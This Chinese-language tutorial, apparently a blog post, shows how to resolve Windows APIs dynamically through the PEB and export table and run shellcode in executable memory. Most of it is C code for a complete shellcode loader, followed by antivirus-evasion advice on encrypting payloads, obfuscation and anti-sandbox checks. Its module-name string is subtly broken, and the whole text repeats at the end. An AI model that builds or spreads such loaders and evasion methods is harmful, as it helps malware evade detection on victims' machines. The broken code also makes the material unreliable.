动态获取API执行shelcode
字数 942 2025-08-29 08:31:53

通过PEB动态获取API执行Shellcode技术详解

前言

本文详细讲解如何从进程的TEB获取PEB,再从PEB中的LDR模块链表获取Kernel32.dll模块基址,然后通过解析PE文件结构动态获取API函数地址,最终执行Shellcode的技术。这种方法可以隐藏IAT表,提高恶意代码的隐蔽性。

技术原理

1. PEB和TEB结构

  • TEB (Thread Environment Block): 线程环境块,每个线程都有一个TEB
  • PEB (Process Environment Block): 进程环境块,包含进程信息
  • 通过FS寄存器可以访问TEB,TEB偏移0x30处存储PEB指针

2. PEB_LDR_DATA结构

PEB偏移0x0C处存储LDR信息,LDR包含三个双向链表:

  • InLoadOrderModuleList: 按加载顺序排列的模块列表
  • InMemoryOrderModuleList: 按内存顺序排列的模块列表
  • InInitializationOrderModuleList: 按初始化顺序排列的模块列表

3. PE文件结构

PE文件由以下几部分组成:

  • DOS头
  • NT头(PE头)
    • 文件头
    • 可选头
  • 节表
  • 节数据

DOS头结构

typedef struct _IMAGE_DOS_HEADER {
    WORD e_magic;    // "MZ"标识
    // ...其他成员...
    LONG e_lfanew;   // 指向PE头的偏移
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

NT头结构

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;             // "PE\0\0"
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

导出表结构

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD Characteristics;
    DWORD TimeDateStamp;
    WORD MajorVersion;
    WORD MinorVersion;
    DWORD Name;
    DWORD Base;
    DWORD NumberOfFunctions;
    DWORD NumberOfNames;
    DWORD AddressOfFunctions;    // 函数地址表
    DWORD AddressOfNames;        // 函数名称表
    DWORD AddressOfNameOrdinals; // 函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

实现步骤

1. 获取PEB地址

DWORD GetPeb() {
    _PEB_LDR_DATA* Ldr;
    _asm {
        push eax
        push ebx
        xor eax, eax
        xor ebx, ebx
        mov eax, fs:[0x30]  // TEB偏移0x30处是PEB
        mov ebx, [eax + 0x0C] // PEB偏移0x0C处是LDR
        mov Ldr, ebx
        pop ebx
        pop eax
    }
    return (DWORD)Ldr;
}

2. 获取Kernel32.dll模块基址

DWORD GetKenel32(DWORD Ldr) {
    char funcName[] = {'K',0,'e',0,'l',0,'n',0,'e',0,'l','0','3','2',0,'.','0','d','0','l','0','l',0,0,0};
    DWORD kernel32Addr = NULL;
    
    _LIST_ENTRY* pBack;
    _PEB_LDR_DATA* pLdr = (_PEB_LDR_DATA*)Ldr;
    _LDR_DATA_TABLE_ENTRY* pNext;
    
    pBack = &pLdr->InLoadOrderModuleList;
    pNext = (_LDR_DATA_TABLE_ENTRY*)pBack->Flink;
    
    while ((int*)pBack != (int*)pNext) {
        PCHAR BaseDllName = (PCHAR)pNext->BaseDllName.Buffer;
        PCHAR pfuncName = (PCHAR)funcName;
        
        while (*BaseDllName && *BaseDllName == *pfuncName) {
            BaseDllName++; pfuncName++;
        }
        
        if (*BaseDllName == *pfuncName) {
            kernel32Addr = (DWORD)pNext->DllBase;
            break;
        }
        
        pNext = (_LDR_DATA_TABLE_ENTRY*)pNext->InLoadOrderLinks.Flink;
    }
    return kernel32Addr;
}

3. 获取函数地址

DWORD GetFuncAddr(HMODULE Module) {
    CHAR funcName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
    
    // 获取DOS头
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)Module;
    
    // 获取NT头
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
    
    // 获取导出表
    PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)
        ((DWORD)dosHeader + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
    
    // 获取三个表
    DWORD* AddressOfNames = (DWORD*)((DWORD)dosHeader + exportDirectory->AddressOfNames);
    WORD* AddressOfNameOrdinals = (WORD*)((DWORD)dosHeader + exportDirectory->AddressOfNameOrdinals);
    DWORD* AddressOfFunctions = (DWORD*)((DWORD)dosHeader + exportDirectory->AddressOfFunctions);
    
    PCHAR pfuncName = funcName;
    
    // 遍历查找函数
    for (int i = 0; i < exportDirectory->NumberOfNames; i++) {
        PCHAR lpName = (PCHAR)((DWORD)dosHeader + AddressOfNames[i]);
        while (*lpName && *lpName == *pfuncName) {
            lpName++; pfuncName++;
        }
        
        if (*lpName == *pfuncName) {
            return (DWORD)((DWORD)dosHeader + 
                   AddressOfFunctions[AddressOfNameOrdinals[i]]);
        }
        
        pfuncName = funcName;
    }
    return 0;
}

4. 主程序执行流程

int main() {
    // 1. 获取Kernel32.dll基址
    HMODULE hKernel32 = (HMODULE)GetKenel32(GetPeb());
    
    // 2. 获取GetProcAddress函数地址
    PGETPROCADDRESS pGetProcAddress = (PGETPROCADDRESS)GetFuncAddr(hKernel32);
    
    // 3. 动态获取其他API
    VIRTUALALLOC myVirtualAlloc = (VIRTUALALLOC)pGetProcAddress(hKernel32, "VirtualAlloc");
    RTLMOVEMEMORY myRtlMoveMemory = (RTLMOVEMEMORY)pGetProcAddress(hKernel32, "RtlMoveMemory");
    CREATETHREAD myCreateThread = (CREATETHREAD)pGetProcAddress(hKernel32, "CreateThread");
    WAITFORSINGLEOBJECT myWaitForSingleObject = (WAITFORSINGLEOBJECT)pGetProcAddress(hKernel32, "WaitForSingleObject");
    
    // 4. 执行Shellcode
    unsigned char buf[] = "shellcode here";
    LPVOID lpMem = myVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    myRtlMoveMemory(lpMem, buf, sizeof(buf));
    HANDLE hThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0);
    myWaitForSingleObject(hThread, INFINITE);
    
    return 0;
}

免杀技巧

  1. Shellcode处理:

    • 使用异或加密Shellcode
    • 使用Base64编码Shellcode
    • 运行时解密执行
  2. 代码混淆:

    • 使用不常见的API获取方式
    • 添加无用代码干扰分析
    • 使用动态计算代替硬编码
  3. 反沙箱技术:

    • 添加环境检测代码
    • 延迟执行
    • 只在特定条件下触发

总结

本文详细讲解了如何通过PEB获取Kernel32.dll基址,解析PE文件结构动态获取API函数地址,最终执行Shellcode的技术。这种方法具有以下优点:

  1. 不依赖导入表,隐蔽性高
  2. 可以绕过部分杀毒软件的静态检测
  3. 灵活性强,可以动态获取任意API

在实际应用中,还需要结合加密、混淆等技术提高免杀效果。需要注意的是,这种技术常被恶意软件使用,学习时应遵守法律法规,仅用于安全研究和防御目的。

通过PEB动态获取API执行Shellcode技术详解 前言 本文详细讲解如何从进程的TEB获取PEB,再从PEB中的LDR模块链表获取Kernel32.dll模块基址,然后通过解析PE文件结构动态获取API函数地址,最终执行Shellcode的技术。这种方法可以隐藏IAT表,提高恶意代码的隐蔽性。 技术原理 1. PEB和TEB结构 TEB (Thread Environment Block) : 线程环境块,每个线程都有一个TEB PEB (Process Environment Block) : 进程环境块,包含进程信息 通过FS寄存器可以访问TEB,TEB偏移0x30处存储PEB指针 2. PEB_ LDR_ DATA结构 PEB偏移0x0C处存储LDR信息,LDR包含三个双向链表: InLoadOrderModuleList: 按加载顺序排列的模块列表 InMemoryOrderModuleList: 按内存顺序排列的模块列表 InInitializationOrderModuleList: 按初始化顺序排列的模块列表 3. PE文件结构 PE文件由以下几部分组成: DOS头 NT头(PE头) 文件头 可选头 节表 节数据 DOS头结构 NT头结构 导出表结构 实现步骤 1. 获取PEB地址 2. 获取Kernel32.dll模块基址 3. 获取函数地址 4. 主程序执行流程 免杀技巧 Shellcode处理 : 使用异或加密Shellcode 使用Base64编码Shellcode 运行时解密执行 代码混淆 : 使用不常见的API获取方式 添加无用代码干扰分析 使用动态计算代替硬编码 反沙箱技术 : 添加环境检测代码 延迟执行 只在特定条件下触发 总结 本文详细讲解了如何通过PEB获取Kernel32.dll基址,解析PE文件结构动态获取API函数地址,最终执行Shellcode的技术。这种方法具有以下优点: 不依赖导入表,隐蔽性高 可以绕过部分杀毒软件的静态检测 灵活性强,可以动态获取任意API 在实际应用中,还需要结合加密、混淆等技术提高免杀效果。需要注意的是,这种技术常被恶意软件使用,学习时应遵守法律法规,仅用于安全研究和防御目的。